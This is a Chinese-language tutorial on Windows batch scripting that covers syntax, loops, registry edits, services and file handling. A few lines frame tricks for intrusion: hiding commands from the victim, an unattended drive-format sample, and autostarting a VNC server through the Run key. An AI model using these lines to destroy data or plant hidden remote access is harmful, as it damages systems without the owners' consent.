基礎(chǔ)部分:
======================================================================
一、基礎(chǔ)語法:
1.批處理文件是一個(gè)“.bat”結(jié)尾的文本文件,這個(gè)文件的每一行都是一條DOS命令。可以使用任何文本文件編輯工具創(chuàng)建和修改。
2.批處理是一種簡單的程序,可以用 if 和 goto 來控制流程,也可以使用 for 循環(huán)。
3.批處理的編程能力遠(yuǎn)不如C語言等編程語言,也十分不規(guī)范。
4.每個(gè)編寫好的批處理文件都相當(dāng)于一個(gè)DOS的外部命令,把它所在的目錄放到DOS搜索路徑(path)中,即可在任意位置運(yùn)行。
5.C:\AUTOEXEC.BAT 是每次系統(tǒng)啟動(dòng)時(shí)都會(huì)自動(dòng)運(yùn)行的,可以將每次啟動(dòng)時(shí)都要運(yùn)行的命令放入該文件中。
6.大小寫不敏感(命令符忽略大小寫)
7.批處理的文件擴(kuò)展名為 .bat 或 .cmd。
8.在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統(tǒng)就會(huì)調(diào)用Cmd.exe來運(yùn)行該文件。
二、參數(shù):
1) 系統(tǒng)參數(shù)
%SystemRoot% === C:\WINDOWS (%windir% 同樣)
%ProgramFiles% === C:\Program Files
%USERPROFILE% === C:\Documents and Settings\Administrator (子目錄有“桌面”,“開始菜單”,“收藏夾”等)
%APPDATA% === C:\Documents and Settings\Administrator\Application Data
%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同樣)
%APPDATA% === C:\Documents and Settings\Administrator\Application Data
%OS% === Windows_NT (系統(tǒng))
%Path% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的設(shè)置)
%HOMEDRIVE% === C: (系統(tǒng)盤)
%HOMEPATH% === \Documents and Settings\Administrator
:: 枚舉當(dāng)前的環(huán)境變量
setlocal enabledelayedexpansion
FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i !%%i!
2) 傳遞參數(shù)給批處理文件
%[1-9]表示參數(shù),參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的以空格(或者Tab)分隔的字符串。
變量可以從%0到%9,%0表示批處理命令本身,其它參數(shù)字符串用 %1 到 %9 順序表示。
Sample:
call test2.bat "hello" "haha" (執(zhí)行同目錄下的“test2.bat”文件,并輸入兩個(gè)參數(shù))
在“test2.bat”文件里寫:
echo %1 (打印: "hello")
echo %2 (打印: "haha")
echo %0 (打印: test2.bat)
echo %19 (打印: "hello"9)
0. help 命令
/? 命令
語法: 命令 /?
可顯示此命令的幫助信息
Sample: type /? >>tmp.txt (把 type 命令的幫助信息寫入到tmp.txt文件里)
Sample: help type (顯示跟“type /?”一樣)
1.Echo 命令
語法: echo [{on|off}] [message]
ECHO [ON | OFF] 打開回顯或關(guān)閉回顯功能。
ECHO 顯示當(dāng)前回顯設(shè)置。
ECHO [message] 顯示信息。
echo off 表示在此語句后所有運(yùn)行的命令都不顯示命令行本身;默認(rèn)是on,on時(shí)會(huì)顯示如: C:\文件夾路徑>命令行。
在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)( 也稱為管道符號(hào),一般用 > >> ^ )結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中。
Sample: echo off
Sample: echo hello world (顯示出“hello world”)
Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前還沒有 setupreg.reg 這個(gè)文件)
Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加內(nèi)容進(jìn) setupreg.reg 這個(gè)文件)
2.@ 命令
表示不顯示@后面的命令,(在入侵過程中自然不能讓對(duì)方看到你使用的命令啦)
@ 與 echo off 相象,但它是加在每個(gè)命令行的最前面,表示運(yùn)行時(shí)不顯示這一行的命令行(只能影響當(dāng)前行)。
Sample: @echo off (此語句常用于開頭,表示不顯示所有的命令行信息,包括此句)
Sample: @echo please wait a minite...
Sample: @format X: /q/u/autoset
(format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)
3.Goto 命令
語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)
指定跳轉(zhuǎn)到標(biāo)簽行,找到標(biāo)簽行后,程序?qū)⑻幚韽南乱恍虚_始的命令。
label標(biāo)簽的名字可以隨便起,但是最好是有意義的,字母前必須加個(gè)冒號(hào)“:”來表示這個(gè)字母是標(biāo)簽。
goto命令就是根據(jù)這個(gè)冒號(hào)來尋找下一步跳到到那里。經(jīng)常與 if 配合使用,根據(jù)不同的條件來執(zhí)行不同的命令組。
例題見“5.Pause 命令”
4.Rem 命令
語法:Rem Message...
(小技巧:用::代替rem)
注釋命令,在C語言中相當(dāng)與/*...*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和自己日后修改。
Sample:@Rem Here is the description.
5.Pause 命令
會(huì)暫停批處理的執(zhí)行并在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵后繼續(xù)
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤上的所有文件均復(fù)制到d:\back中。
顯示的信息提示您將另一張磁盤放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵再次復(fù)制。
6.Call 命令
語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數(shù): [Drive:][Path] FileName 指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。
調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。
如果不用call而直接調(diào)用別的批處理文件,那么執(zhí)行完那個(gè)批處理文件后將無法返回當(dāng)前文件并執(zhí)行當(dāng)前文件的后續(xù)命令。
call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。
Sample:call="%cd%\test2.bat" haha kkk aaa (調(diào)用指定目錄下的 test2.bat,且輸入3個(gè)參數(shù)給他)
Sample:call test2.bat arg1 arg2 (調(diào)用同目錄下的 test2.bat,且輸入2個(gè)參數(shù)給他)
注:可以調(diào)用自身(死循環(huán)、遞歸)
7.start 命令
調(diào)用外部程序,所有的 DOS命令 和 命令行程序 都可以由 start命令 來調(diào)用。
入侵常用參數(shù):
MIN 開始時(shí)窗口最小化
SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序
HIGH 在 HIGH 優(yōu)先級(jí)類別開始應(yīng)用程序
REALTIME 在 REALTIME 優(yōu)先級(jí)類別開始應(yīng)用程序
WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束
parameters 這些為傳送到命令/程序的參數(shù)
Sample:start /MIN test2.bat arg1 arg2 (調(diào)用同目錄下的 test2.bat,且輸入2個(gè)參數(shù)給他,且本窗口最小化)
Sample:e:\"program files"\極品列車時(shí)刻表\jpskb.exe (文件路徑名有空格時(shí))
8.If 命令
if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:
1) IF
語法: if [not] "參數(shù)" == "字符串" 待執(zhí)行的命令
參數(shù)如果等于(not表示不等,下同)指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))
Sample: if "%1" == "a" format a:
Sample: if {%1} == {} goto noparms
2) if exist
語法: if [not] exist [路徑\]文件名 待執(zhí)行的命令
如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
Sample: if exist config.sys edit config.sys (表示如果存在這文件,則編輯它,用很難看的系統(tǒng)編輯器)
Sample: if exist config.sys type config.sys (表示如果存在這文件,則顯示它的內(nèi)容)
3) if errorlevel number
語法: if [not] errorlevel <數(shù)字> 待執(zhí)行的命令
如果程序返回值等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(返回值必須按照從大到小的順序排列)
Sample:
@echo off
XCOPY F:\test.bat D:\
IF ERRORLEVEL 1 (ECHO 文件拷貝失敗
) Else IF ERRORLEVEL 0 ECHO 成功拷貝文件
pause
很多DOS程序在運(yùn)行結(jié)束后會(huì)返回一個(gè)數(shù)字值用來表示程序運(yùn)行的結(jié)果(或者狀態(tài)),稱為錯(cuò)誤碼errorlevel或稱返回碼。
常見的返回碼為0、1。通過if errorlevel命令可以判斷程序的返回值,根據(jù)不同的返回值來決定執(zhí)行不同的命令。
4) else
語法: if 條件 (成立時(shí)執(zhí)行的命令) else (不成立時(shí)執(zhí)行的命令)
如果是多個(gè)條件,建議適當(dāng)使用括號(hào)把各條件包起來,以免出錯(cuò)。
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
注:如果 else 的語句需要換行,if 執(zhí)行的行尾需用“^”連接,并且 if 執(zhí)行的動(dòng)作需用(括起來),否則報(bào)錯(cuò)
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
else (echo comment3 )
5) 比較運(yùn)算符:
EQU - 等于 (一般使用“==”)
NEQ - 不等于 (沒有 “!=”,改用“ if not 1==1 ”的寫法)
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于
9.choice 命令
choice 使用此命令可以讓用戶輸入一個(gè)字符(用于選擇),從而根據(jù)用戶的選擇返回不同的 errorlevel,
然后配合 if errorlevel 選擇運(yùn)行不同的命令。
注意:choice命令為DOS或者Windows系統(tǒng)提供的外部命令,不同版本的choice命令語法會(huì)稍有不同,請(qǐng)用choice /?查看用法。
choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。
使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……
Sample: choice /c:dme defrag,mem,end
將顯示: defrag,mem,end[D,M,E]?
Sample:
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
10.for 命令
for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。
1) for {%variable | %%variable} in (set) do command [command-parameters]
%variable 指定一個(gè)單一字母可替換的參數(shù)。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I
在批處理文件中使用 FOR 命令時(shí),指定變量建議用 %%variable而不要用 %variable。
(set) 指定一個(gè)或一組文件。可以使用通配符。
command 指定對(duì)每個(gè)文件執(zhí)行的命令。
command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。
2) 如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到支持:
a.FOR /D %variable IN (set) DO command [command-parameters]
如果集里面包含通配符,則指定與目錄名匹配,而不與文件名匹配。
b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個(gè)目錄中的FOR 語句。
如果在 /R 后沒有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。
c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。
如:(1,1,5) 將產(chǎn)生序列 1 2 3 4 5; 而(5,-1,1) 將產(chǎn)生序列 (5 4 3 2 1)。
d.有或者沒有 usebackq 選項(xiàng):
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
參數(shù)"options"為:
eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè),如“;”)
skip=n - 指在文件開始時(shí)忽略的行數(shù)。
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。
tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代的 for 本身。這會(huì)導(dǎo)致額外變量名稱的分配。
m-n格式為一個(gè)范圍。通過 nth 符號(hào)指定 mth。
如果符號(hào)字符串中的最后一個(gè)字符星號(hào),那么額外的變量將在最后一個(gè)符號(hào)解析之后分配并接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且一個(gè)單引號(hào)字符為文字字符串命令并允許在 filenameset中使用雙引號(hào)擴(kuò)起文件名稱。
3) Sample:
1. 如下命令行會(huì)顯示當(dāng)前目錄下所有以bat或者txt為擴(kuò)展名的文件名。
for %%c in (*.bat *.txt) do (echo %%c)
a. 如下命令行會(huì)顯示當(dāng)前目錄下所有包含有 e 或者 i 的目錄名。
for /D %%a in (*e* *i*) do echo %%a
b. 如下命令行會(huì)顯示 E盤test目錄 下所有以bat或者txt為擴(kuò)展名的文件名。
for /R E:\test %%b in (*.txt *.bat) do echo %%b
for /r %%c in (*) do (echo %%c) :: 遍歷當(dāng)前目錄下所有文件
c. 如下命令行將產(chǎn)生序列 1 2 3 4 5
for /L %%c in (1,1,5) do echo %%c
d. 以下兩句,顯示當(dāng)前的年月日和時(shí)間
For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時(shí)%%k分
e. 把記事本中的內(nèi)容每一行前面去掉8個(gè)字符
setlocal enabledelayedexpansion
for /f %%i in (zhidian.txt) do (
set atmp=%%i
set atmp=!atmp:~8!
if {!atmp!}=={} ( echo.) else echo !atmp!
)
:: 讀取記事本里的內(nèi)容(使用 delims 是為了把一行顯示全,否則會(huì)以空格為分隔符)
for /f "delims=" %%a in (zhidian.txt) do echo.%%a
4) continue 和 break
利用 goto 實(shí)現(xiàn)程序中常用的 continue 和 break 命令, 其實(shí)非常簡單
continue: 在 for 循環(huán)的最后一行寫上一個(gè)標(biāo)簽,跳轉(zhuǎn)到這位置即可
break: 在 for 循環(huán)的外面的下一句寫上一個(gè)標(biāo)簽,跳轉(zhuǎn)到這位置即可
Sample: (偽代碼)
for /F ["options"] %variable IN (command) DO (
... do command ...
if ... goto continue
if ... goto break
... do command ...
:continue
)
:break
四、其它命令
1. ping 命令
測(cè)試網(wǎng)絡(luò)聯(lián)接狀況以及信息包發(fā)送和接收狀況。但是不能夠測(cè)試端口。
語法:ping IP地址或主機(jī)名 [-t] [-a] [-n count] [-l size]
參數(shù)含義:
-t 不停地向目標(biāo)主機(jī)發(fā)送數(shù)據(jù);
-a 以IP地址格式來顯示目標(biāo)主機(jī)的網(wǎng)絡(luò)地址;
-n count 指定要Ping多少次,具體次數(shù)由count來指定;
-l size 指定發(fā)送到目標(biāo)主機(jī)的數(shù)據(jù)包的大小。
Sample: ping 192.168.0.1 -t (不停的測(cè)試192.168.0.1,按ctrl+c停止)
Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的局域網(wǎng)電腦)
2. telnet 命令
測(cè)試端口使用 telnet IP地址或主機(jī)名 端口,使用tcp協(xié)議的
Sample: telnet 192.168.0.1 80 (測(cè)試192.168.0.1的80端口)
3.color 命令
設(shè)置背景及字體顏色
語法: color bf
b 是指定背景色的十六進(jìn)制數(shù)字; f 指定前景顏色(即字體顏色)。
顏色值: 0:黑色 1:藍(lán)色 2:綠色 3:湖藍(lán) 4:紅色 5:紫色 6:黃色 7:白色
8:灰色 9:淡藍(lán) A:淡綠 B:淺綠 C:淡紅 D:淡紫 E:淡黃 F:亮白
如果沒有給定任何參數(shù),該命令會(huì)將顏色還原到 CMD.EXE 啟動(dòng)時(shí)的顏色。
如果兩參數(shù)一樣,視為無效輸入。只有一個(gè)參數(shù)時(shí),設(shè)置字體。
4. random 命令
產(chǎn)生隨機(jī)數(shù)(正整數(shù)0~)
5. exit 命令
結(jié)束程序。即時(shí)是被調(diào)用的程序,結(jié)束后也不會(huì)返回原程序
6. shutdown命令
shutdown -s 關(guān)機(jī)
10. 所有內(nèi)置命令的幫助信息
ver /?
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
五、字符串處理
1) 分割字符串,以查看時(shí)間為例
%源字符串:~起始值,截取長度% (起始值從0開始;截取長度是可選的,如果省略逗號(hào)和截取長度,將會(huì)從起始值截取到結(jié)尾;
截取長度如果是負(fù)數(shù),表示截取到倒數(shù)第幾個(gè)。)
"%time%" 顯示如:"11:04:23.03" (完整的時(shí)間"hh:mm:ss.tt")
"%time:~0,5%" 顯示"hh:mm"(即"11:04"),其中0表示從右向左移位操作的個(gè)數(shù),5表示從左向右移位操作的個(gè)數(shù)
"%time:~0,8%" 顯示標(biāo)準(zhǔn)時(shí)間格式"hh:mm:ss"(即"11:04:23",前8個(gè)字符串)
"%time:~3,-3%"顯示"mm:ss"(即從第4個(gè)開始,截去最后3個(gè)的字符串)
"%time:~3%" 顯示"04:23.03"(即去掉前4個(gè)字符串)
"%time:~-3%" 顯示".tt"(即最后3個(gè)字符串)
上面的字串分割格式,也可以用于其它地方,如目錄路徑:"%cd:~0,10%"
set a="abcd1234"
echo %a% 顯示:"abcd1234"
set a=%a:1=kk% 替換“1”為“kk”
echo %a% 顯示:"abcdkk234"
3) 字符串合并
由于沒有直接的字符串合并函數(shù),只能用笨方法了。
set str1=%str1%%str2% (合并 str1 和 str2)
沒有現(xiàn)成的函數(shù)。如下程序利用 goto形成循環(huán),不斷將字符串截短1,并記錄截短的次數(shù),到字符串變成空時(shí)的次數(shù)即長度。
set testStr=This is a test string
:: 將 testStr 復(fù)制到str,str 是個(gè)臨時(shí)字符串
set str=%testStr%
:: 標(biāo)簽,用于goto跳轉(zhuǎn)
:next1
:: 判斷str是不是空,如果不是則執(zhí)行下邊的語句
if not "%str%"=="" (
:: 算術(shù)運(yùn)算,使num的值自增1,相當(dāng)于num++或者++num語句
set /a num+=1
:: 截取字符串,每次截短1
set "str=%str:~1%"
:: 跳轉(zhuǎn)到next1標(biāo)簽: 這里利用goto和標(biāo)簽,構(gòu)成循環(huán)結(jié)構(gòu)
goto next1
)
:: 當(dāng)以上循環(huán)結(jié)構(gòu)執(zhí)行完畢時(shí),會(huì)執(zhí)行下邊的語句
echo testStr=%testStr%
echo testStr的長度為:%num%
5) 截取字符串時(shí),需要傳遞參數(shù)
直接 echo %args:~%num%,-5% 沒辦法想要的字符串,需要如下兩步
setlocal enabledelayedexpansion
echo !args:~%num%,-5!
六、注冊(cè)表操作
1) 備份注冊(cè)表,將[HKEY_LOCAL_MACHINE ... Run]的內(nèi)容,備份到“c:\windows\1.reg”
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg
2) 修改/添加注冊(cè)表內(nèi)容
a.一般的添加或修改
reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
上句解析:“HKCU”是“HKEY_CURRENT_USER”的縮寫,不用縮寫用全稱也可以;
添加名稱為“Java_Home”的變量;類型為“reg_sz”,另一種常見類型是“reg_dword”;值為 D:\Java\jdk1.6.0_07;
set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f
c.如果注冊(cè)表的名稱有空格,或者數(shù)據(jù)用特殊符號(hào)時(shí)
reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
傳入值為(值用雙引號(hào)括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
傳入值為(“\”結(jié)尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
這里用“/ve”來代替一般修改時(shí)的“/v 變量名”,即可修改默認(rèn)值了
雙引號(hào)里面的是注冊(cè)表的目錄,下面兩句將刪除這目錄下的所有信息
reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
雙引號(hào)里面的是注冊(cè)表的目錄,下面一句將刪除這目錄下指定的某個(gè)信息
reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f
4) 注冊(cè)表的常用位置
a.系統(tǒng)啟動(dòng)項(xiàng):
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f
b.系統(tǒng)環(huán)境變量:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
c.當(dāng)前用戶的環(huán)境變量:
[HKEY_CURRENT_USER\Environment]
5) 修改注冊(cè)表之后,結(jié)束并重新加載explorer.exe進(jìn)程,可刷新注冊(cè)表,令其生效
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"
七、系統(tǒng)服務(wù)
1) 停止服務(wù):NET STOP 服務(wù)名
啟動(dòng)服務(wù):NET Start 服務(wù)名
2) 設(shè)置啟動(dòng)類型
自動(dòng): SC CONFIG 服務(wù)名 START= auto
手動(dòng): SC CONFIG 服務(wù)名 START= demand
已禁用:SC CONFIG 服務(wù)名 START= disabled
附:“START= ”等號(hào)后面必須要有一個(gè)空格。(start還有boot,system兩個(gè)值)
Sample: SC CONFIG Spooler START= demand (打印機(jī)加載項(xiàng),設(shè)置成手動(dòng),默認(rèn)自動(dòng))
3) 查看系統(tǒng)服務(wù):start %SystemRoot%\system32\services.msc /s
八、setlocal與變量延遲
0) 在沒有開啟變量延遲的情況下,某條命令行中的變量改變,必須到下一條命令才能體現(xiàn)。
另外例如for命令等,其后用一對(duì)圓括號(hào)閉合的所有語句也當(dāng)作一行。
example:
set a=4
set a=5 & echo %a%
結(jié)果:4
也可以對(duì)這種機(jī)制加以利用,如下的變量交換
example:
set var1=abc
set var2=123
echo 交換前: var1=%var1% var2=%var2%
set var1=%var2%& set var2=%var1%
echo 交換后: var1=%var1% var2=%var2%
1) 啟動(dòng)批處理文件中環(huán)境變量的本地化。本地化將持續(xù)到出現(xiàn)匹配的 endlocal 命令或者到達(dá)批處理文件結(jié)尾為止。
語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}
enableextension: 啟用命令擴(kuò)展,直到出現(xiàn)匹配的 endlocal 命令,無論 setlocal 命令之前的設(shè)置如何。
disableextensions: 禁用命令擴(kuò)展,直到出現(xiàn)匹配的 endlocal 命令,無論 setlocal 命令之前的設(shè)置如何。
enabledelayedexpansion: 啟用延遲的環(huán)境變量擴(kuò)展,直到出現(xiàn)匹配的 endlocal 命令,無論 setlocal 命令之前的設(shè)置如何。
disabledelayedexpansion: 禁用延遲的環(huán)境變量擴(kuò)展,直到出現(xiàn)匹配的 endlocal 命令,無論 setlocal 命令之前的設(shè)置如何。
2) 為了能夠感知環(huán)境變量的動(dòng)態(tài)變化,批處理設(shè)計(jì)了變量延遲。簡單來說,在讀取了一條完整的語句之后,不立即對(duì)該行的變量賦值,而會(huì)在某個(gè)單條語句執(zhí)行之前再進(jìn)行賦值,也就是說“延遲”了對(duì)變量的賦值。
examle:
setlocal enabledelayedexpansion
set a=4
set a=5 & echo !a!
結(jié)果: 5
變量延遲的啟動(dòng)語句是“setlocal enabledelayedexpansion”,并且變量要用一對(duì)嘆號(hào)“!!”括起來
由于啟動(dòng)了變量延遲,所以批處理能夠感知到動(dòng)態(tài)變化,即不是先給該行變量賦值,而是在運(yùn)行過程中給變量賦值,因此此時(shí)a的值就是5了
另外,啟動(dòng)變量延遲,“%”的變量還是不變
example2:
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
結(jié)果,打印從1到5;如果不變量延遲,一個(gè)變量也沒有打印
九、文件處理
1.刪除
1) 刪除一個(gè)文件或多個(gè)文件
del /s /q /f d:\test\a.bat
將直接刪除d:\test\a.bat,沒有任務(wù)提示
del temp\* /q /f /s
將直接刪除 本目錄的 temp 目錄的所有文件,沒有任務(wù)提示
刪除文件的時(shí)候可以使用“*”作通配符
2) 刪除一個(gè)空目錄
rd /q /s d:\test\log
將直接刪除d:\test\log目錄,如果log目錄里面有文件將無法刪除
3) 刪除一個(gè)非空目錄 (必須指定目錄名稱)
rmdir /q /s d:\test\logs
必須指定目錄名稱,不能使用通配符
/S 除目錄本身外,還將刪除指定目錄下的所有子目錄
/Q 安靜模式,帶 /S 刪除目錄樹時(shí)不要求確認(rèn)
無論里面是否有文件或文件夾將全部直接刪除
2.創(chuàng)建目錄
MKDIR [drive:]path
MD [drive:]path
路徑有空格時(shí),可以用雙引號(hào)括起來,也可以用 替代
實(shí)踐部分:
======================================================================
一、小摘錄:
1. 調(diào)用其他程序時(shí),對(duì)文件的大小寫不敏感,文件后綴也可忽略
如:start LeapFTP.exe 與 start leapftp 效果一樣,都是運(yùn)行“LeapFTP.exe”文件
每行的開頭的字符串會(huì)自動(dòng)查找程序來運(yùn)行,還可用雙引號(hào)引起來(文件名或目錄名含空格時(shí)必須用)
如:"D:\Program Files\Leap FTP.exe"
"LeapFTP.exe" 可正常運(yùn)行文件,start "" "LeapFTP.exe" 也可以正常運(yùn)行文件(注意,第一個(gè)參數(shù)是窗口顯示的標(biāo)題)
3. copy C:\test\*.* D:\back (復(fù)制C盤test文件夾的所有文件(不包括文件夾及子文件夾里的東西)到D盤的back文件夾)
4. dir c:\*.* > a.txt (將c盤文件列表寫入 a.txt 中)
5. > 生成文件并寫入內(nèi)容(如果有這文件則覆蓋), >> 文件里追加內(nèi)容
6. md d:\aa (創(chuàng)建文件夾)
7. 在命令末尾加上“>NUL 2>NUL”,表示隱蔽返回信息。
8. 等待用戶輸入: set /p 變量名=屏幕顯示信息。 Sample:set /p pass=請(qǐng)輸入密碼:
9. 讓用戶按回車退出
小技巧(替代pause),文件的最后一句:set /p tmp=操作結(jié)束,請(qǐng)按回車鍵退出...
10.設(shè)置標(biāo)題: title JDK安裝
11.設(shè)置屏幕顯示顏色,如綠色: color 0a
12.清屏: cls
13.查看自己的IP:
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
echo %ip% (這時(shí)的 %ip% 就是自己的IP地址)
14. 修改文件的更新日期
copy 文件名+,,>nul (修改為當(dāng)前時(shí)間,如果要修改為指定時(shí)間,先修改系統(tǒng)時(shí)間,再改回系統(tǒng)時(shí)間)
15. 修改文件的后綴名
ren C:\test\*.jpg *.JPG
for /r %%c in (*.jpg) do (ren %%c *.JPG) :: 修改當(dāng)前目錄下的所有文件的后綴名,包括子目錄的
16. 修改文件的文件名
rename test.jpg test2.JPG
rename *.jpg *.888.JPG
17. 查看DNS、IP、Mac等
1) Win98: winipcfg
2) Win2000以上: Ipconfig /all
3) NSLOOKUP
18.查看IP上的共享資源,就可以
net view 192.168.10.8
19.共享
A.查看你機(jī)器的共享資源: net share
B.手工刪除共享
net share 共享資源名稱$ /d
注意$后有空格。
C.增加一個(gè)共享:
net share mymovie=e:\downloads\movie /users:3
mymovie 共享成功。 同時(shí)限制鏈接用戶數(shù)為3人。
20.打開某網(wǎng)站
start iexplore.exe http://www.baidu.com
二、實(shí)例:
1. 生成 reg 文件,運(yùn)行它,再刪除它
echo "更改windows安裝文件的路徑"
echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg
echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
:: 寫入注冊(cè)表
regedit /S c:\setupreg.reg
:: 刪除注冊(cè)表文件
del c:\setupreg.reg
2.調(diào)用了exe文件,結(jié)束后沒有關(guān)閉,解決方式
用start命令運(yùn)行文件,如:
start LeapFTP.exe 192.168.0.100
3.設(shè)置系統(tǒng)環(huán)境變量
:: 有這個(gè)環(huán)境變量,則不需再設(shè)置,直接結(jié)束
if not "%JAVA_HOME%" == "" exit
:: 設(shè)置環(huán)境變量的地址
set inputJavaHome=%cd%\jdk1.6.0_07
:: 設(shè)置環(huán)境變量,也可以設(shè)置當(dāng)前用戶的變量
set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
echo 正在設(shè)置環(huán)境變量,請(qǐng)稍候......
reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f
reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]
:: 刷新,令環(huán)境變量生效
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"
4.隱藏某目錄的所有文件及文件夾
cd /d 要隱藏的目錄(如:D:)
for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)
